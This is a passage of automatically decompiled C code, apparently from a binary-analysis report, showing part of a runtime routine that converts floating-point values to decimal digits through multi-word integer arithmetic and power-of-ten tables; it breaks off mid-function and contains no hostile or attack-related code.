C-Code - Quality: 70%

			E6DA9CC86(signed int __edx, void* __edi, void* __eflags, signed char _a4, signed int _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24, intOrPtr _a28) {
				signed int _v8;
				signed int _v464;
				void _v468;
				signed int _v472;
				signed int _v932;
				signed int _v936;
				signed int _v1392;
				signed int _v1396;
				signed int _v1400;
				char _v1860;
				signed int _v1864;
				signed int _v1868;
				signed int _v1872;
				signed int _v1876;
				signed int _v1880;
				char _v1881;
				signed int _v1888;
				signed int _v1892;
				signed int _v1896;
				signed int _v1900;
				signed int _v1904;
				signed int _v1908;
				intOrPtr _v1912;
				signed int* _v1916;
				signed int _v1920;
				signed int _v1924;
				signed int _v1928;
				signed int _v1932;
				signed int _v1936;
				char _v1944;
				signed int _v1952;
				signed int _v1956;
				char _v2416;
				signed int _v2420;
				signed int _v2448;
				void* __ebx;
				void* __esi;
				signed int _t802;
				intOrPtr _t812;
				signed int _t819;
				signed int _t825;
				void* _t829;
				signed int _t830;
				intOrPtr _t836;
				void* _t837;
				signed int _t843;
				signed int _t848;
				signed int _t849;
				signed int _t850;
				signed int _t853;
				signed int _t855;
				signed int _t857;
				signed int _t858;
				signed int _t863;
				signed int _t864;
				signed int _t869;
				signed int _t871;
				signed int _t872;
				signed int _t879;
				signed int _t880;
				signed int _t888;
				signed int _t891;
				signed int _t896;
				signed int* _t899;
				signed int _t903;
				signed int _t914;
				signed int _t915;
				signed int _t917;
				signed int _t918;
				char* _t919;
				signed int _t922;
				signed int _t928;
				signed int _t930;
				signed int _t934;
				signed int _t942;
				signed int _t945;
				signed int _t948;
				signed int _t951;
				signed int _t960;
				signed int _t961;
				signed int _t964;
				signed int _t977;
				signed int _t978;
				signed int _t980;
				signed int _t981;
				signed int* _t982;
				signed int _t985;
				signed int* _t988;
				signed int _t991;
				signed int _t993;
				signed int _t998;
				signed int _t1006;
				signed int _t1009;
				signed int _t1013;
				signed int _t1016;
				signed int _t1025;
				intOrPtr _t1030;
				signed int _t1031;
				signed int _t1037;
				void* _t1045;
				signed int _t1046;
				signed int _t1047;
				signed int _t1048;
				signed int* _t1051;
				signed int _t1059;
				signed int _t1063;
				signed int _t1065;
				signed int _t1070;
				void* _t1076;
				signed int _t1077;
				signed int _t1078;
				signed int _t1079;
				signed int _t1082;
				signed int _t1087;
				signed int _t1088;
				signed int _t1092;
				signed int _t1094;
				signed int _t1099;
				signed int _t1101;
				signed int _t1102;
				void* _t1105;
				signed char _t1106;
				signed int _t1112;
				signed int _t1113;
				signed int _t1115;
				signed int _t1122;
				void* _t1127;
				signed char _t1133;
				intOrPtr* _t1136;
				signed int _t1141;
				signed int _t1142;
				void* _t1144;
				signed int _t1147;
				signed int _t1149;
				signed int _t1150;
				signed int _t1151;
				signed int _t1158;
				signed int _t1162;
				signed int _t1163;
				signed int _t1164;
				signed int _t1165;
				signed int _t1167;
				signed int* _t1169;
				signed int _t1170;
				signed int _t1174;
				signed int _t1175;
				signed int _t1176;
				signed int _t1177;
				signed int _t1179;
				signed int _t1181;
				signed int _t1182;
				signed int _t1186;
				signed int _t1187;
				unsigned int _t1188;
				unsigned int _t1192;
				unsigned int _t1195;
				signed int _t1196;
				signed int _t1199;
				signed int* _t1202;
				signed int _t1205;
				void* _t1207;
				unsigned int _t1208;
				signed int _t1209;
				signed int _t1212;
				signed int* _t1215;
				signed int _t1218;
				signed char _t1220;
				signed int _t1227;
				signed int _t1228;
				signed int _t1229;
				signed int _t1230;
				signed int _t1233;
				signed int _t1235;
				signed int _t1237;
				char _t1240;
				signed int _t1242;
				signed int _t1243;
				signed int _t1244;
				signed int _t1245;
				signed int _t1246;
				signed int _t1247;
				signed int _t1248;
				signed int _t1250;
				signed int _t1251;
				signed int _t1252;
				signed int _t1253;
				signed int _t1254;
				void* _t1255;
				signed int _t1256;
				signed int _t1258;
				signed int _t1263;
				signed int _t1267;
				void* _t1268;
				intOrPtr _t1269;
				void* _t1272;
				unsigned int _t1275;
				signed int _t1276;
				void* _t1277;
				signed int _t1279;
				signed int _t1280;
				signed int _t1281;
				signed int _t1282;
				signed int _t1285;
				signed int _t1286;
				signed int _t1287;
				signed int _t1288;
				signed int _t1289;
				signed int _t1292;
				signed int _t1293;
				signed int _t1294;
				signed int _t1295;
				void* _t1296;
				void* _t1299;
				signed int _t1301;
				signed int _t1305;
				signed int* _t1307;
				signed int _t1311;
				signed int _t1312;
				signed int _t1315;
				signed int _t1317;
				signed int _t1318;
				signed int _t1320;
				void* _t1323;
				void* _t1324;
				signed int _t1326;
				signed int _t1327;
				signed int _t1328;
				signed int _t1330;
				signed int _t1331;
				signed int _t1332;
				signed int _t1334;
				signed int _t1344;
				void* _t1346;
				signed char* _t1347;
				signed char* _t1348;
				signed int _t1352;
				signed char _t1360;

				_t1268 = __edi;
				_t1227 = __edx;
				_t802 =  *0x6dab3014; // 0x6c4e8ceb
				_v8 = _t802 ^ _t1344;
				_v1932 = _a20;
				_v1888 = _a24;
				E6DAA0952(__eflags,  &_v1952);
				_t1122 = 1;
				if((_v1952 & 0x0000001f) != 0x1f) {
					E6DAA09BA(__eflags,  &_v1952);
					_v1944 = 1;
				} else {
					_v1944 = 0;
				}
				_t1315 = _a8;
				_push(_t1268);
				_t1269 = 0x20;
				_t1352 = _t1315;
				if(_t1352 > 0 || _t1352 >= 0 && _a4 >= 0) {
					_t812 = _t1269;
				} else {
					_t812 = 0x2d;
				}
				_t1136 = _v1932;
				 *_t1136 = _t812;
				 *((intOrPtr*)(_t1136 + 8)) = _v1888;
				E6DAA08F3( &_v1956, 0, 0);
				_t1347 = _t1346 + 0xc;
				if((_t1315 & 0x7ff00000) != 0) {
					L12:
					_t819 = E6DA947F7( &_a4);
					__eflags = _t819;
					if(_t819 == 0) {
						L24:
						_v1936 = _v1936 & 0x00000000;
						_a8 = _t1315 & 0x7fffffff;
						_t1360 = _a4;
						asm("fst qword [ebp-0x774]");
						_t1317 = _v1908;
						_v1928 = _a12 + 1;
						_t1141 = _t1317 >> 0x14;
						_t825 = _t1141 & 0x000007ff;
						__eflags = _t825;
						if(_t825 != 0) {
							_t825 = 0;
							_t1228 = 0x100000;
							_t41 =  &_v1868;
							 *_t41 = _v1868 & 0;
							__eflags =  *_t41;
						} else {
							_t1228 = 0;
							_v1868 = _t1122;
						}
						_t1318 = _t1317 & 0x000fffff;
						_v1924 = _v1912 + _t825;
						asm("adc esi, edx");
						_t1142 = _t1141 & 0x000007ff;
						_v1872 = _v1868 + _t1142;
						E6DAA0A10(_t1142, _t1360);
						_push(_t1142);
						 *_t1347 = _t1360;
						_t829 = E6DAA0B20(_t1142);
						_t1144 = _t1142;
						_t830 = L6DAA1FF0(_t829, _t1122, _t1144, _t1228);
						_v1904 = _t830;
						_t1272 = 0x20;
						__eflags = _t830 - 0x7fffffff;
						if(_t830 == 0x7fffffff) {
							L29:
							__eflags = 0;
							_v1904 = 0;
						} else {
							__eflags = _t830 - 0x80000000;
							if(_t830 == 0x80000000) {
								goto L29;
							}
						}
						_t1229 = _v1872;
						__eflags = _t1318;
						_v468 = _v1924;
						_v464 = _t1318;
						_t1147 = (0 | _t1318 != 0x00000000) + 1;
						_v1868 = _t1147;
						_v472 = _t1147;
						__eflags = _t1229 - 0x433;
						if(_t1229 < 0x433) {
							__eflags = _t1229 - 0x35;
							if(_t1229 == 0x35) {
								L100:
								__eflags = _t1318;
								_t211 =  &_v1908;
								 *_t211 = _v1908 & 0x00000000;
								__eflags =  *_t211;
								_t836 =  *((intOrPtr*)(_t1344 + 4 + (0 | _t1318 != 0x00000000) * 4 - 0x1d4));
								asm("bsr eax, eax");
								if( *_t211 == 0) {
									_t837 = 0;
									__eflags = 0;
								} else {
									_t837 = _t836 + 1;
								}
								__eflags = _t1272 - _t837 - _t1122;
								asm("sbb esi, esi");
								_t1320 =  ~_t1318 + _t1147;
								__eflags = _t1320 - 0x73;
								if(_t1320 <= 0x73) {
									_t1230 = _t1320 - 1;
									__eflags = _t1230 - 0xffffffff;
									if(_t1230 != 0xffffffff) {
										_t1296 = _t1230 - 1;
										while(1) {
											__eflags = _t1230 - _t1147;
											if(_t1230 >= _t1147) {
												_t1025 = 0;
												__eflags = 0;
											} else {
												_t1025 =  *(_t1344 + _t1230 * 4 - 0x1d0);
											}
											__eflags = _t1296 - _t1147;
											if(_t1296 >= _t1147) {
												_t1188 = 0;
												__eflags = 0;
											} else {
												_t1188 =  *(_t1344 + _t1230 * 4 - 0x1d4);
											}
											 *(_t1344 + _t1230 * 4 - 0x1d0) = _t1188 >> 0x0000001f | _t1025 + _t1025;
											_t1230 = _t1230 - 1;
											_t1296 = _t1296 - 1;
											__eflags = _t1230 - 0xffffffff;
											if(_t1230 == 0xffffffff) {
												goto L115;
											}
											_t1147 = _v472;
										}
									}
									L115:
									_v472 = _t1320;
								} else {
									_v1400 = _v1400 & 0x00000000;
									_v472 = _v472 & 0x00000000;
									E6DA90928( &_v468, 0x1cc,  &_v1396, 0);
									_t1347 =  &(_t1347[0x10]);
								}
								_t1275 = 0x434 >> 5;
								E6DA8B0A0(0x434 >> 5,  &_v1396, 0, 0x434);
								__eflags = 1;
								 *(_t1344 + 0xbad63d) = 1 << (0x00000434 - _v1872 & 0x0000001f);
							} else {
								_v1396 = _v1396 & 0x00000000;
								_v1392 = 0x100000;
								_v1400 = 2;
								__eflags = _t1318;
								if(_t1318 != 0) {
									_t1255 = 0;
									__eflags = 0;
									while(1) {
										_t1030 =  *((intOrPtr*)(_t1344 + _t1255 - 0x570));
										__eflags = _t1030 -  *((intOrPtr*)(_t1344 + _t1255 - 0x1d0));
										if(_t1030 !=  *((intOrPtr*)(_t1344 + _t1255 - 0x1d0))) {
											goto L100;
										}
										_t1255 = _t1255 + 4;
										__eflags = _t1255 - 8;
										if(_t1255 != 8) {
											continue;
										} else {
											__eflags = 0;
											asm("bsr eax, esi");
											_v1908 = 0;
											if(0 == 0) {
												_t1031 = 0;
											} else {
												_t1031 = _t1030 + 1;
											}
											__eflags = _t1272 - _t1031 - 2;
											asm("sbb esi, esi");
											_t1334 =  ~_t1318 + _t1147;
											__eflags = _t1334 - 0x73;
											if(_t1334 <= 0x73) {
												_t1256 = _t1334 - 1;
												__eflags = _t1256 - 0xffffffff;
												if(_t1256 != 0xffffffff) {
													_t1299 = _t1256 - 1;
													while(1) {
														__eflags = _t1256 - _t1147;
														if(_t1256 >= _t1147) {
															_t1037 = 0;
														} else {
															_t1037 =  *(_t1344 + _t1256 * 4 - 0x1d0);
														}
														__eflags = _t1299 - _t1147;
														if(_t1299 >= _t1147) {
															_t1192 = 0;
														} else {
															_t1192 =  *(_t1344 + _t1256 * 4 - 0x1d4);
														}
														 *(_t1344 + _t1256 * 4 - 0x1d0) = _t1192 >> 0x0000001e | _t1037 << 0x00000002;
														_t1256 = _t1256 - 1;
														_t1299 = _t1299 - 1;
														__eflags = _t1256 - 0xffffffff;
														if(_t1256 == 0xffffffff) {
															goto L98;
														}
														_t1147 = _v472;
													}
												}
												L98:
												_v472 = _t1334;
											} else {
												_v1400 = 0;
												_v472 = 0;
												E6DA90928( &_v468, 0x1cc,  &_v1396, 0);
												_t1347 =  &(_t1347[0x10]);
											}
											_t1275 = 0x435 >> 5;
											E6DA8B0A0(0x435 >> 5,  &_v1396, 0, 0x435);
											 *(_t1344 + 0xbad63d) = 1 << (0x00000435 - _v1872 & 0x0000001f);
										}
										goto L117;
									}
								}
								goto L100;
							}
							L117:
							_t843 = _t1275 + 1;
							_t1323 = 0x1cc;
							_v1400 = _t843;
							_v936 = _t843;
							E6DA90928( &_v932, 0x1cc,  &_v1396, _t843 << 2);
							_t1348 =  &(_t1347[0x1c]);
							_t1122 = 1;
							__eflags = 1;
						} else {
							_v1396 = _v1396 & 0x00000000;
							_v1392 = 0x100000;
							_v1400 = 2;
							__eflags = _t1318;
							if(_t1318 == 0) {
								L57:
								_t1195 = _t1229 - 0x432;
								_t1196 = _t1195 & 0x0000001f;
								_v1880 = _t1195 >> 5;
								_v1896 = _t1196;
								_v1924 = _t1272 - _t1196;
								_t1045 = E6DAA1ED0(_t1122, _t1272 - _t1196, 0);
								_t1258 = _v1868;
								_t1046 = _t1045 - 1;
								_t130 =  &_v1908;
								 *_t130 = _v1908 & 0x00000000;
								__eflags =  *_t130;
								_v1876 = _t1046;
								_t1047 =  !_t1046;
								_v1920 = _t1047;
								asm("bsr eax, ecx");
								if( *_t130 == 0) {
									_t138 =  &_v1868;
									 *_t138 = _v1868 & 0x00000000;
									__eflags =  *_t138;
								} else {
									_v1868 = _t1047 + 1;
								}
								_t1199 = _v1880;
								_t1323 = 0x1cc;
								_t1048 = _t1199 + _t1258;
								__eflags = _t1048 - 0x73;
								if(_t1048 <= 0x73) {
									__eflags = _t1272 - _v1868 - _v1896;
									asm("sbb eax, eax");
									_t1051 =  ~_t1048 + _t1199 + _t1258;
									_v1916 = _t1051;
									__eflags = _t1051 - 0x73;
									if(_t1051 > 0x73) {
										goto L61;
									} else {
										_t1301 = _t1199 - 1;
										_t1059 = _t1051 - 1;
										_v1900 = _t1301;
										_v1872 = _t1059;
										__eflags = _t1059 - _t1301;
										if(_t1059 != _t1301) {
											_t1305 = _t1059 - _t1199;
											__eflags = _t1305;
											_t1202 =  &(( &_v472)[_t1305]);
											_v1892 = _t1202;
											while(1) {
												__eflags = _t1305 - _t1258;
												if(_t1305 >= _t1258) {
													_t1063 = 0;
													__eflags = 0;
												} else {
													_t1063 = _t1202[1];
												}
												_v1868 = _t1063;
												_t158 = _t1305 - 1; // -4
												__eflags = _t158 - _t1258;
												if(_t158 >= _t1258) {
													_t1065 = 0;
													__eflags = 0;
												} else {
													_t1065 =  *_t1202;
												}
												_t1205 = _v1872;
												 *(_t1344 + _t1205 * 4 - 0x1d0) = (_t1065 & _v1920) >> _v1924 | (_v1868 & _v1876) << _v1896;
												_t1070 = _t1205 - 1;
												_t1202 = _v1892 - 4;
												_v1872 = _t1070;
												_t1305 = _t1305 - 1;
												_v1892 = _t1202;
												__eflags = _t1070 - _v1900;
												if(_t1070 == _v1900) {
													break;
												}
												_t1258 = _v472;
											}
											_t1199 = _v1880;
										}
										__eflags = _t1199;
										if(_t1199 != 0) {
											__eflags = 0;
											memset( &_v468, 0, _t1199 << 2);
											_t1347 =  &(_t1347[0xc]);
										}
										_v472 = _v1916;
									}
								} else {
									L61:
									_v1400 = 0;
									_v472 = 0;
									E6DA90928( &_v468, _t1323,  &_v1396, 0);
									_t1347 =  &(_t1347[0x10]);
								}
								_v1396 = 2;
								_push(4);
							} else {
								_t1207 = 0;
								__eflags = 0;
								while(1) {
									__eflags =  *((intOrPtr*)(_t1344 + _t1207 - 0x570)) -  *((intOrPtr*)(_t1344 + _t1207 - 0x1d0));
									if( *((intOrPtr*)(_t1344 + _t1207 - 0x570)) !=  *((intOrPtr*)(_t1344 + _t1207 - 0x1d0))) {
										goto L57;
									}
									_t1207 = _t1207 + 4;
									__eflags = _t1207 - 8;
									if(_t1207 != 8) {
										continue;
									} else {
										_t1208 = _t1229 - 0x431;
										_t1209 = _t1208 & 0x0000001f;
										_v1880 = _t1208 >> 5;
										_v1896 = _t1209;
										_v1876 = _t1272 - _t1209;
										_t1076 = E6DAA1ED0(_t1122, _t1272 - _t1209, 0);
										_t1263 = _v1868;
										_t1077 = _t1076 - 1;
										_t70 =  &_v1908;
										 *_t70 = _v1908 & 0x00000000;
										__eflags =  *_t70;
										_v1900 = _t1077;
										_t1078 =  !_t1077;
										_v1924 = _t1078;
										asm("bsr eax, ecx");
										if( *_t70 == 0) {
											_t78 =  &_v1868;
											 *_t78 = _v1868 & 0x00000000;
											__eflags =  *_t78;
										} else {
											_v1868 = _t1078 + 1;
										}
										_t1212 = _v1880;
										_t1323 = 0x1cc;
										_t1079 = _t1212 + _t1263;
										__eflags = _t1079 - 0x73;
										if(_t1079 <= 0x73) {
											__eflags = _t1272 - _v1868 - _v1896;
											asm("sbb eax, eax");
											_t1082 =  ~_t1079 + _t1212 + _t1263;
											_v1920 = _t1082;
											__eflags = _t1082 - 0x73;
											if(_t1082 > 0x73) {
												goto L39;
											} else {
												_t1307 = _t1212 - 1;
												_t1088 = _t1082 - 1;
												_v1916 = _t1307;
												_v1872 = _t1088;
												__eflags = _t1088 - _t1307;
												if(_t1088 != _t1307) {
													_t1311 = _t1088 - _t1212;
													__eflags = _t1311;
													_t1215 =  &(( &_v472)[_t1311]);
													_v1892 = _t1215;
													while(1) {
														__eflags = _t1311 - _t1263;
														if(_t1311 >= _t1263) {
															_t1092 = 0;
															__eflags = 0;
														} else {
															_t1092 = _t1215[1];
														}
														_v1868 = _t1092;
														_t98 = _t1311 - 1; // -4
														__eflags = _t98 - _t1263;
														if(_t98 >= _t1263) {
															_t1094 = 0;
															__eflags = 0;
														} else {
															_t1094 =  *_t1215;
														}
														_t1218 = _v1872;
														 *(_t1344 + _t1218 * 4 - 0x1d0) = (_t1094 & _v1924) >> _v1876 | (_v1868 & _v1900) << _v1896;
														_t1099 = _t1218 - 1;
														_t1215 = _v1892 - 4;
														_v1872 = _t1099;
														_t1311 = _t1311 - 1;
														_v1892 = _t1215;
														__eflags = _t1099 - _v1916;
														if(_t1099 == _v1916) {
															break;
														}
														_t1263 = _v472;
													}
													_t1212 = _v1880;
												}
												__eflags = _t1212;
												if(_t1212 != 0) {
													__eflags = 0;
													memset( &_v468, 0, _t1212 << 2);
													_t1347 =  &(_t1347[0xc]);
												}
												_v472 = _v1920;
											}
										} else {
											L39:
											_v1400 = 0;
											_v472 = 0;
											E6DA90928( &_v468, _t1323,  &_v1396, 0);
											_t1347 =  &(_t1347[0x10]);
										}
										_t1087 = 4;
										_v1396 = _t1087;
										_push(_t1087);
									}
									goto L56;
								}
								goto L57;
							}
							L56:
							_v1392 = _v1392 & 0x00000000;
							_push( &_v1396);
							_v936 = _t1122;
							_push(_t1323);
							_push( &_v932);
							_v1400 = _t1122;
							E6DA90928();
							_t1348 =  &(_t1347[0x10]);
						}
						_t848 = _v1904;
						_t1149 = 0xa;
						_v1924 = _t1149;
						__eflags = _t848;
						if(_t848 < 0) {
							_t849 =  ~_t848;
							_t850 = _t849 / _t1149;
							_v1916 = _t850;
							_t1150 = _t849 % _t1149;
							_v1908 = _t1150;
							__eflags = _t850;
							if(_t850 == 0) {
								L250:
								__eflags = _t1150;
								if(_t1150 != 0) {
									_t896 =  *(0x6daa6f14 + _t1150 * 4);
									_v1908 = _t896;
									__eflags = _t896;
									if(_t896 == 0) {
										L262:
										__eflags = 0;
										_push(0);
										_v472 = 0;
										_v2420 = 0;
										goto L263;
									} else {
										__eflags = _t896 - _t1122;
										if(_t896 != _t1122) {
											_t1165 = _v472;
											__eflags = _t1165;
											if(_t1165 != 0) {
												_v1876 = _v1876 & 0x00000000;
												_t1282 = 0;
												__eflags = 0;
												do {
													_t1244 = _t896 *  *(_t1344 + _t1282 * 4 - 0x1d0) >> 0x20;
													 *(_t1344 + _t1282 * 4 - 0x1d0) = _t896 *  *(_t1344 + _t1282 * 4 - 0x1d0) + _v1876;
													_t896 = _v1908;
													asm("adc edx, 0x0");
													_t1282 = _t1282 + 1;
													_v1876 = _t1244;
													__eflags = _t1282 - _t1165;
												} while (_t1282 != _t1165);
												__eflags = _t1244;
												if(_t1244 != 0) {
													_t903 = _v472;
													__eflags = _t903 - 0x73;
													if(_t903 >= 0x73) {
														goto L262;
													} else {
														 *(_t1344 + _t903 * 4 - 0x1d0) = _t1244;
														_v472 = _v472 + 1;
													}
												}
											}
										}
									}
								}
							} else {
								do {
									__eflags = _t850 - 0x26;
									if(_t850 > 0x26) {
										_t850 = 0x26;
									}
									_t1166 =  *(0x6daa6e7e + _t850 * 4) & 0x000000ff;
									_v1880 = _t850;
									_v1400 = ( *(0x6daa6e7f + _t850 * 4) & 0x000000ff) + ( *(0x6daa6e7e + _t850 * 4) & 0x000000ff);
									E6DA8B0A0(_t1166 << 2,  &_v1396, 0, _t1166 << 2);
									_t914 = E6DA8AB10( &(( &_v1396)[_t1166]), 0x6daa6578 + ( *(0x6daa6e7c + _v1880 * 4) & 0x0000ffff) * 4, ( *(0x6daa6e7f + _t850 * 4) & 0x000000ff) << 2);
									_t1245 = _v1400;
									_t1348 =  &(_t1348[0x18]);
									_v1872 = _t1245;
									__eflags = _t1245 - _t1122;
									if(_t1245 > _t1122) {
										__eflags = _v472 - _t1122;
										if(_v472 > _t1122) {
											__eflags = _t1245 - _v472;
											_t1326 =  &_v1396;
											_t547 = _t1245 - _v472 > 0;
											__eflags = _t547;
											_t915 = _t914 & 0xffffff00 | _t547;
											if(_t547 >= 0) {
												_t1326 =  &_v468;
											}
											_v1892 = _t1326;
											__eflags = _t915;
											if(_t915 == 0) {
												_v1896 = _t1245;
												_t1245 = _v472;
												_v1872 = _t1245;
												_v1876 =  &_v1396;
											} else {
												_v1896 = _v472;
												_v1876 =  &_v468;
											}
											_t917 = 0;
											_t1285 = 0;
											_v1864 = 0;
											__eflags = _t1245;
											if(_t1245 == 0) {
												L244:
												_v472 = _t917;
												_t1323 = 0x1cc;
												_t918 = _t917 << 2;
												__eflags = _t918;
												_push(_t918);
												_t919 =  &_v1860;
												goto L245;
											} else {
												do {
													__eflags =  *(_t1326 + _t1285 * 4);
													if( *(_t1326 + _t1285 * 4) != 0) {
														_t1167 = 0;
														_t1327 = _t1285;
														_v1868 = 0;
														_v1900 = 0;
														__eflags = _v1896;
														if(_v1896 != 0) {
															_t1246 = 0;
															while(1) {
																__eflags = _t1327 - 0x73;
																if(_t1327 == 0x73) {
																	break;
																}
																__eflags = _t1327 - _t917;
																if(_t1327 == _t917) {
																	 *(_t1344 + _t1327 * 4 - 0x740) =  *(_t1344 + _t1327 * 4 - 0x740) & 0x00000000;
																	_t579 = _t1285 + 1; // 0x1
																	_t934 = _t579 + _t1167;
																	__eflags = _t934;
																	_v1864 = _t934;
																}
																_t930 =  *(_v1876 + _t1167 * 4);
																_t1170 = _v1892;
																_t1246 = _t930 *  *(_t1170 + _t1285 * 4) >> 0x20;
																asm("adc edx, 0x0");
																 *(_t1344 + _t1327 * 4 - 0x740) =  *(_t1344 + _t1327 * 4 - 0x740) + _t930 *  *(_t1170 + _t1285 * 4) + _v1868;
																_t917 = _v1864;
																asm("adc edx, 0x0");
																_t1167 = _v1900 + 1;
																_t1327 = _t1327 + 1;
																_v1868 = _t1246;
																_v1900 = _t1167;
																__eflags = _t1167 - _v1896;
																if(_t1167 != _v1896) {
																	continue;
																}
																break;
															}
															__eflags = _t1246;
															if(_t1246 != 0) {
																_t1169 =  &_v1860 + _t1327 * 4;
																_v1868 = _t1169;
																while(1) {
																	__eflags = _t1327 - 0x73;
																	if(_t1327 == 0x73) {
																		goto L240;
																	}
																	__eflags = _t1327 - _t917;
																	if(_t1327 == _t917) {
																		 *_t1169 =  *_t1169 & 0x00000000;
																		__eflags =  *_t1169;
																		_t609 = _t1327 + 1; // 0x1
																		_v1864 = _t609;
																	}
																	_v1868 = _v1868 + 4;
																	_t928 = _t1246;
																	_t1327 = _t1327 + 1;
																	_t1246 = 0;
																	 *_t1169 =  *_t1169 + _t928;
																	__eflags =  *_t1169;
																	_t917 = _v1864;
																	asm("adc edx, edx");
																	if( *_t1169 != 0) {
																		_t1169 = _v1868;
																		continue;
																	}
																	goto L240;
																}
															}
															L240:
															_t1245 = _v1872;
														}
														__eflags = _t1327 - 0x73;
														if(_t1327 == 0x73) {
															_t1323 = 0x1cc;
															goto L260;
														} else {
															_t1326 = _v1892;
															goto L243;
														}
													} else {
														__eflags = _t1285 - _t917;
														if(_t1285 == _t917) {
															 *(_t1344 + _t1285 * 4 - 0x740) =  *(_t1344 + _t1285 * 4 - 0x740) & 0x00000000;
															_t568 = _t1285 + 1; // 0x1
															_t917 = _t568;
															_v1864 = _t917;
														}
														goto L243;
													}
													goto L247;
													L243:
													_t1285 = _t1285 + 1;
													__eflags = _t1285 - _t1245;
												} while (_t1285 != _t1245);
												goto L244;
											}
										} else {
											_t1286 = _v468;
											_t1323 = 0x1cc;
											_v1936 = _t1286;
											_v472 = _t1245;
											E6DA90928( &_v468, 0x1cc,  &_v1396, _t1245 << 2);
											_t1348 =  &(_t1348[0x10]);
											__eflags = _t1286;
											if(_t1286 != 0) {
												__eflags = _t1286 - _t1122;
												if(_t1286 == _t1122) {
													goto L246;
												} else {
													__eflags = _v472;
													if(_v472 == 0) {
														goto L246;
													} else {
														_t1174 = 0;
														_v1920 = _v472;
														_t1287 = 0;
														__eflags = 0;
														do {
															_t942 = _v1936;
															_t1247 = _t942 *  *(_t1344 + _t1287 * 4 - 0x1d0) >> 0x20;
															 *(_t1344 + _t1287 * 4 - 0x1d0) = _t942 *  *(_t1344 + _t1287 * 4 - 0x1d0) + _t1174;
															asm("adc edx, 0x0");
															_t1287 = _t1287 + 1;
															_t1174 = _t1247;
															__eflags = _t1287 - _v1920;
														} while (_t1287 != _v1920);
														__eflags = _t1174;
														if(_t1174 == 0) {
															goto L246;
														} else {
															_t945 = _v472;
															__eflags = _t945 - 0x73;
															if(_t945 >= 0x73) {
																L260:
																_v2420 = 0;
																_v472 = 0;
																E6DA90928( &_v468, _t1323,  &_v2416, 0);
																_t1348 =  &(_t1348[0x10]);
																_t922 = 0;
															} else {
																 *(_t1344 + _t945 * 4 - 0x1d0) = _t1174;
																_v472 = _v472 + 1;
																goto L246;
															}
														}
													}
												}
											} else {
												_v2420 = 0;
												_v472 = 0;
												_push(0);
												_t919 =  &_v2416;
												L245:
												_push(_t919);
												_push(_t1323);
												_push( &_v468);
												E6DA90928();
												_t1348 =  &(_t1348[0x10]);
												L246:
												_t922 = _t1122;
											}
										}
									} else {
										_t1288 = _v1396;
										__eflags = _t1288;
										if(_t1288 != 0) {
											__eflags = _t1288 - _t1122;
											if(_t1288 == _t1122) {
												goto L198;
											} else {
												__eflags = _v472;
												if(_v472 == 0) {
													goto L198;
												} else {
													_t1175 = 0;
													_v1936 = _v472;
													_t1328 = 0;
													__eflags = 0;
													do {
														_t948 = _t1288;
														_t1248 = _t948 *  *(_t1344 + _t1328 * 4 - 0x1d0) >> 0x20;
														 *(_t1344 + _t1328 * 4 - 0x1d0) = _t948 *  *(_t1344 + _t1328 * 4 - 0x1d0) + _t1175;
														asm("adc edx, 0x0");
														_t1328 = _t1328 + 1;
														_t1175 = _t1248;
														__eflags = _t1328 - _v1936;
													} while (_t1328 != _v1936);
													__eflags = _t1175;
													if(_t1175 == 0) {
														goto L198;
													} else {
														_t951 = _v472;
														__eflags = _t951 - 0x73;
														if(_t951 >= 0x73) {
															_v2420 = 0;
															_v472 = 0;
															E6DA90928( &_v468, 0x1cc,  &_v2416, 0);
															_t1348 =  &(_t1348[0x10]);
															_t922 = 0;
															goto L199;
														} else {
															 *(_t1344 + _t951 * 4 - 0x1d0) = _t1175;
															_v472 = _v472 + 1;
															goto L198;
														}
													}
												}
											}
											goto L265;
										} else {
											__eflags = 0;
											_v2420 = 0;
											_v472 = 0;
											E6DA90928( &_v468, 0x1cc,  &_v2416, 0);
											_t1348 =  &(_t1348[0x10]);
											L198:
											_t922 = _t1122;
										}
										L199:
										_t1323 = 0x1cc;
									}
									L247:
									__eflags = _t922;
									if(_t922 == 0) {
										_v2420 = _v2420 & 0x00000000;
										_v472 = _v472 & 0x00000000;
										_push(0);
										L263:
										_push( &_v2416);
										_t899 =  &_v468;
										goto L264;
									} else {
										goto L248;
									}
									goto L265;
									L248:
									_t850 = _v1916 - _v1880;
									__eflags = _t850;
									_v1916 = _t850;
								} while (_t850 != 0);
								_t1150 = _v1908;
								goto L250;
							}
						} else {
							_t960 = _t848 / _t1149;
							_v1876 = _t960;
							_t1176 = _t848 % _t1149;
							_v1936 = _t1176;
							__eflags = _t960;
							if(_t960 == 0) {
								L178:
								__eflags = _t1176;
								if(_t1176 != 0) {
									_t961 =  *(0x6daa6f14 + _t1176 * 4);
									_v1936 = _t961;
									__eflags = _t961;
									if(_t961 != 0) {
										__eflags = _t961 - _t1122;
										if(_t961 != _t1122) {
											_t1177 = _v936;
											__eflags = _t1177;
											if(_t1177 != 0) {
												_v1876 = _v1876 & 0x00000000;
												_t1289 = 0;
												__eflags = 0;
												do {
													_t1250 = _t961 *  *(_t1344 + _t1289 * 4 - 0x3a0) >> 0x20;
													 *(_t1344 + _t1289 * 4 - 0x3a0) = _t961 *  *(_t1344 + _t1289 * 4 - 0x3a0) + _v1876;
													_t961 = _v1936;
													asm("adc edx, 0x0");
													_t1289 = _t1289 + 1;
													_v1876 = _t1250;
													__eflags = _t1289 - _t1177;
												} while (_t1289 != _t1177);
												__eflags = _t1250;
												if(_t1250 != 0) {
													_t964 = _v936;
													__eflags = _t964 - 0x73;
													if(_t964 >= 0x73) {
														goto L180;
													} else {
														 *(_t1344 + _t964 * 4 - 0x3a0) = _t1250;
														_v936 = _v936 + 1;
													}
												}
											}
										}
									} else {
										L180:
										_v2420 = 0;
										_v936 = 0;
										_push(0);
										goto L184;
									}
								}
							} else {
								do {
									__eflags = _t960 - 0x26;
									if(_t960 > 0x26) {
										_t960 = 0x26;
									}
									_t1178 =  *(0x6daa6e7e + _t960 * 4) & 0x000000ff;
									_v1868 = _t960;
									_v1400 = ( *(0x6daa6e7f + _t960 * 4) & 0x000000ff) + ( *(0x6daa6e7e + _t960 * 4) & 0x000000ff);
									E6DA8B0A0(_t1178 << 2,  &_v1396, 0, _t1178 << 2);
									_t977 = E6DA8AB10( &(( &_v1396)[_t1178]), 0x6daa6578 + ( *(0x6daa6e7c + _v1868 * 4) & 0x0000ffff) * 4, ( *(0x6daa6e7f + _t960 * 4) & 0x000000ff) << 2);
									_t1251 = _v1400;
									_t1348 =  &(_t1348[0x18]);
									_v1872 = _t1251;
